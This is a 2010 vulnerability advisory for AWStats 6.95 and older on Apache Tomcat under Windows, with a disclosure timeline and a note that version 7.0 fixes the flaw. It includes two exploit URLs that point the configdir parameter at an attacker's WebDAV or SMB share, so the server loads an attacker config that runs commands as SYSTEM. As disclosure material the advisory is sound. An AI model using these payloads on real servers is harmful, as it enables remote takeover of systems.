---------------------------------------------------------------------------- --------- www.ExploitDevelopment.com 2010-WEB-001 (CERT VU#870532) ---------------------------------------------------------------------------- --------- TITLE: AWStats 6.95 and Older Remote Command Execution When Installed on Windows Apache Tomcat SUMMARY AND IMPACT: AWStats is vulnerable to remote command execution when installed on Apache Tomcat on Microsoft Windows operating systems. This issue is due to the way Apache Tomcat handles "\\" when specifying a configuration file directory. On a Windows XP AWStats system, an attacker can tell the remote server to call back to a WEBDAV enabled directory to pull the attacker's AWStats configuration file due to the "WebFolder" ability of the operating system. On a Windows 2003 or XP system, an attacker can tell the remote server to call back to a public SMB file share to pull the attacker's AWStats configuration file. The attacker's AWStats configuration file can contain arbitrary commands to be run on the vulnerable remote server as the web service account (The default web service account on Windows with Tomcat is the built in SYSTEM account). An attacker can use this exploit to gain administrative control of a DMZ web server or a web server that has ties to an internal network. DETAILS: Use the following steps to exploit this vulnerability. Attacking Windows XP Apache Tomcat AWStats Server: http://VulnerableServer:8080/cgi-bin/awstats.cgi?config=attacker&pluginmode= rawlog&configdir=\\Attacker-IPAddress:80\webdav Attacking Windows 2003 or Windows XP AWStats Server: http://VulnerableServer:8080/cgi-bin/awstats.cgi?config=attacker&pluginmode= rawlog&configdir=\\Attacker-IPAddress\SMB-Share VULNERABLE PRODUCTS: AWStats Log Analyzer 6.95 and Older (AWStats 7.0 was fixed on 2010/08/18 10:49:50 - http://awstats.sourceforge.net/docs/awstats_changelog.txt) running on Windows XP or Windows 2003 (Other Windows OS versions have not been tested). AWStats must be installed on top of Apache Tomcat (All Versions). REFERENCES AND ADDITIONAL INFORMATION: N/A CREDITS: StenoPlasma (at) ExploitDevelopment.com TIMELINE: Discovery: May 1, 2010 Vendor Notified: May 16, 2010 Vendor Fixed: August 18, 2010 Vendor Notified of Disclosure: October 26, 2010 Disclosure to CERT: November 3, 2010 CERT Published: November 30, 2010 VENDOR URL: http://awstats.sourceforge.net ADVISORY URL: http://www.exploitdevelopment.com/Vulnerabilities/2010-WEB-001.html http://www.kb.cert.org/vuls/id/870532 VENDOR ADVISORY URL: http://awstats.sourceforge.net/docs/awstats_changelog.txt ----------------------------------------------------- StenoPlasma at ExploitDevelopment.com www.ExploitDevelopment.com -----------------------------------------------------